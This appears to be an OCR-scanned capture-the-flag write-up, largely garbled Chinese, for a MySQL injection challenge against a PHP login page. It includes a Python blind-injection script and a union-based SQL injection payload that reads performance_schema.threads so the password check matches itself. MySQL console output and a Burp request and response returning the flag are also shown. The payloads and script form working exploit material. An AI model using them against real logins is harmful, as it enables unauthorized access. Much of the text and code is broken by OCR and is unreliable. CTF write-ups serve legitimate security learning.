alertMes(
)i
checkSqgl($password);
$sql $password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes(
)i
if ($row[ $password) {
die($FLAG);
} else {
alertMes(

if(isset($_GET[ 1)H{
show_source(__FILE_ );
die;

password &b AT LAFAT REIBVENHT,




import requests

burp@_url
burp@_headers

_str

for length in (1, 20):

for char in all_print_str:

payload
(length, (char))
burp@_data { : b : payload}
resp requests.post(burp@ _url, headers=burp@ headers, data=burp@ data)

if resp.elapsed.total seconds()
query_str char
print(query_str)

else:

continue

BARER ctf o [HRHE password FERHIN R RKIATLEE R HBEE . XEKRMIZRKTE.
B4 REe B I ERE H $row[ 'password' ] === $password

N1 LEEBA I Writeup B B 2% . https:/iwx.zsxq.com/dweb2/index/group/824215518412
yet_another_mysql_injection

1l'union/**/select/**/mid(~11",65,217)/**/from(select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,1
4,15,16,17/**/union/**/select/**/*/**/from/**/performance_schema.threads/**/where/**/na
me/**/like'%connection%'/**/limit/**/1,1)t#

performance_schema.threads ™[] PROCESSLIST INFO £t FLRFE IEEEPATHI 52 BB H)


https://wx.zsxq.com/dweb2/index/group/824215518412

https://dev.mysql.com/doc/refman/5.7/en/performance-schema-threads-table.html

* PROCESSLIST INFO

The statement the thread is

cecuting, or NULL if it is executing no statement. The statement might be the one sent to the server, or an innermost statement if the

statement executes other statements. For example. if @ CALL stat

value shows the sELECT statement.

mysql>
mysql> select # from performance_schema.threads where name like
-

+
| THREAD_ID | NAME | TvPE | PROCESSLIST_ID | PROCESSLIST_USER | PROCESSLIST_HOST | PROCESSLIST_DB | PROCESSLIST_COMMAND | PROCESSLIST_TIME | PROCESSLIST_STATE | PROCESSLIST_INFO
| PARENT_THREAD_ID | ROLE | INSTRUMENTED | HISTORY | CONNECTION_TYPE | THREAD_0S_ID |
e e e
38 | thread/sql/one_connection | FOREGROUND | 12 | root | localhost | ctf | Query ® | sending data | selecfll* from perform
ance_schema.threads where name like'%connection%' | NULL | NULL | YES | YES | Tcp/IP 17544 |
—+

1 row in set (8.88 sec)

mysql> |

B2 in #5398, FTUAXBEFEEHLHIZLIEN, PROCESSLIST INFO j& performance schema.threads RHHIE 11 NMFEEL.

LBIAVIEANIX skpayloadZ 5, BEKEHIEH

SELECT password FROM users WHERE username='admin' and password='1l'union/**/select/**/mid( 11" ,65,217)/**/from(se
lect/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/**/union/**/select/**/*/**/from/**/performance_schema.threads/
**/where/**/name/**/1like'%connection%"'/**/limit/**/1,1)t#

EREA TR NBRERR /x4, REFILRATHEN.

mysql>
mysql> select/#x/1,2,3,0,5,6,7 11,12,13,14,15,16,17/#%/union/##/select/+*/*/+*/from/+*/performance_schema.threads/##/where/++/name/**/like'%
——

-+
| 29 | thread/sql/one_connection | FOREGROUND | 3 | root | localhost | ctf | Query | @ | sending data | select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 union select * from performance_schema.threads wh
ere name like'kconnection%' limit 1,1 | NULL | NuLL | YES | YES | Tcp/IP | 14176 |

1 row in set (8.88 sec)

SELECT password FROM users WHERE username='admin' and password='1'union select mid( 11" ,65,217) from(select 1,2,
3,4,5,6,7,8,9,10,11,12,13,14,1 ,17 union select * from performance_schema.threads where name like'%connection

o' limit 1,1)t#

mysql>
mysql>

mysql> select mid("SELECT password FROM users WHERE username='admin' and password='1'union select mid(‘11',65,217) from(select 1,2,3,4,5,6,7,8,9,16,11,12,13,14,15,16,17 union select * from performance_schema.t
hreads where name lik onnection it 1,10t

-+
| mid("SELECT password FROM users WHERE username='admin' and password='l'union select mid('11',65,217) from(select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 union select * from performance_schema.threads where
name Llike'%connect: 1,1)t#",65,217) |

n select mid('11',65,217) from(select 1,2,3,4,5,6,7,8,9,16,11,12,13,14,15,16,17 union select * from performance_schema.threads where name Llike'%connection%' limit 1,1)t#

1 row in set (9.8@ sec)

" AE R, HJEE W PROCESSLIST_INFO iCR BRI B E M 45 RMBATH N password FISER —FEH.


https://dev.mysql.com/doc/refman/5.7/en/performance-schema-threads-table.html

i H $row[ 'password'] === $password , BIH[75ZF|flag

Request

Pretty JREIE Hex \n =

1 POST /index.php HTTP/1.1

2 Host: 114.115.143.25:32770

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; xé4; rv:92.0) Gecko/20100101 Firefox/92.0

4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*,q=0. 8

5 Accept-Language: zh-CN, zh;q=0.8, zh-TN;q=0. 7, zh-HK;g=0. 5, en-US;g=0. 3, en;q=0. 2

& Accept—Encoding: gzip, deflate

7 Content-Type: application/x—www—form-urlencoded

8 Content-Length: 241

9 Origin: http://114.115.143. 25:32770

10 Connection: close

11 Referer: http://114.115. 143, 25:32770/

12 Upgrade-Insecure-Requests: 1

13

14 username=admin&password=
1'union/**/select/**/mid (117, 65, 217) %/ from(select/*%/1,2,3,4,5,6,7,8,9,10, 11,12, 13, 14,15, 16, 17/%*/union/**/se | e
ot/ K/ Rk From/**/performance_schema. threads/**/where/**/name/**/| ike ' %connection%' /*%/1imit/**/1, 1) t#

Response
[{E0l Raw Hex Render \n =

1 HTTP/1.1 200 OK

2 Date: Sat, 18 Sep 2021 16:13:18 GMT

3 Server: Apache/2.4.48 (Debian)

4 X-Powered-By: PHP/7.4.22

5 Content-Length: 39

& Connection: close

7 Content-Type: text/html; charset=UTF-8
8

9 flag [4xTFpXWtBbr SNtCBABS39 jtyHf IUy | h}
10

CSDM

r;u;;_ 3
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